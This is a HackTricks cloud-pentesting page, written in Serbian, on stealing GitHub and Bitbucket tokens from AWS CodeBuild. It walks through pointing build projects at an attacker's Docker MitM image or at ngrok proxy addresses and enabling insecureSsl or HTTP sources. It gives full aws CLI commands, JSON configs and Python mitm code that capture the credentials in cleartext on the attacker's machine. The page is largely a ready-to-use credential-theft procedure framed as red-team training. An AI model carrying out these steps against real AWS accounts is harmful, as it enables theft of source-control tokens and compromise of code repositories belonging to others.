AWS Codebuild - Token Leakage
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Oporavak konfigurisanih tokena za Github/Bitbucket
Prvo, proverite da li postoje bilo akreditivi izvora koji su konfigurirani koje biste mogli da iscurite:
aws codebuild list-source-credentials
Putem Docker slike
Ako otkrijete da je autentifikacija na primer za Github postavljena u nalogu, možete izvršiti tu pristup (GH token ili OAuth token) tako što ćete naterati Codebuild da koristi specifičnu docker sliku za pokretanje izgradnje projekta.
U tu svrhu možete napraviti novi Codebuild projekat ili promeniti okruženje postojećeg da postavite Docker sliku.
Docker slika koju možete koristiti je https://github.com/carlospolop/docker-mitm. Ovo je vrlo osnovna Docker slika koja će postaviti env promenljive https_proxy
, http_proxy
i SSL_CERT_FILE
. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u https_proxy
i http_proxy
i verujete SSL CERT-u navedenom u SSL_CERT_FILE
.
- Kreirajte i otpremite svoju Docker MitM sliku
- Pratite uputstva iz repozitorijuma da postavite svoju proxy IP adresu i postavite svoj SSL certifikat i izgradite docker sliku.
- NE POSTAVLJAJTE
http_proxy
da ne biste presreli zahteve ka metadata endpoint-u. - Možete koristiti
ngrok
kaongrok tcp 4444
da postavite proxy na vaš host. - Kada izgradite Docker sliku, otpremite je na javni repozitorijum (Dockerhub, ECR...)
- Postavite okruženje
- Kreirajte novi Codebuild projekat ili izmenite okruženje postojećeg.
- Postavite projekat da koristi prethodno generisanu Docker sliku.
.png)
- Postavite MitM proxy na vašem hostu
- Kao što je navedeno u Github repozitorijumu, možete koristiti nešto poput:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
tip
Verzija mitmproxy koja je korišćena je 9.0.1, prijavljeno je da sa verzijom 10 ovo možda neće raditi.
- Pokrenite gradnju i zabeležite akreditive
- Možete videti token u Authorization header-u:
.png)
Ovo se takođe može uraditi iz aws cli sa nečim poput
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
Codebuild projekti imaju podešavanje nazvano insecureSsl
koje je skriveno na vebu i može se promeniti samo putem API-ja.
Omogućavanje ovoga omogućava Codebuild-u da se poveže sa repozitorijumom bez provere sertifikata koji nudi platforma.
- Prvo treba da enumerišete trenutnu konfiguraciju sa nečim poput:
aws codebuild batch-get-projects --name <proj-name>
- Zatim, sa prikupljenim informacijama možete ažurirati postavku projekta
insecureSsl
naTrue
. Sledeći je primer mog ažuriranja projekta, obratite pažnju nainsecureSsl=True
na kraju (ovo je jedina stvar koju treba da promenite iz prikupljene konfiguracije). - Pored toga, dodajte i env varijable http_proxy i https_proxy koje upućuju na vaš tcp ngrok kao:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Zatim pokrenite osnovni primer sa https://github.com/synchronizing/mitm na portu koji su označili proxy varijable (http_proxy i https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Na kraju, kliknite na Build the project, akreditivi će biti poslati u čistom tekstu (base64) na mitm port:
 (1).png)
Putem HTTP protokola
[!TIP] > Ova ranjivost je ispravljena od strane AWS-a u nekom trenutku tokom nedelje 20. februara 2023. (mislim u petak). Tako da napadač više ne može da je zloupotrebi :)
Napadač sa povišenim dozvolama u CodeBuild-u mogao bi da iscuri Github/Bitbucket token koji je konfigurisan ili ako su dozvole konfigurirane putem OAuth, privremeni OAuth token koji se koristi za pristup kodu.
- Napadač bi mogao da doda promenljive okruženja http_proxy i https_proxy u CodeBuild projekat koje upućuju na njegovu mašinu (na primer
http://5.tcp.eu.ngrok.io:14972
).
.png)
.png)
- Zatim, promenite URL github repozitorijuma da koristi HTTP umesto HTTPS, na primer:
http://github.com/carlospolop-forks/TestActions
- Zatim, pokrenite osnovni primer sa https://github.com/synchronizing/mitm na portu koji su označile proxy promenljive (http_proxy i https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Zatim kliknite na Build the project ili pokrenite build iz komandne linije:
aws codebuild start-build --project-name <proj-name>
- Na kraju, akreditivi će biti poslati u čistom tekstu (base64) na mitm port:
.png)
warning
Sada će napadač moći da koristi token sa svoje mašine, da izlista sve privilegije koje ima i (zlo)upotrebi lakše nego korišćenjem CodeBuild servisa direktno.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.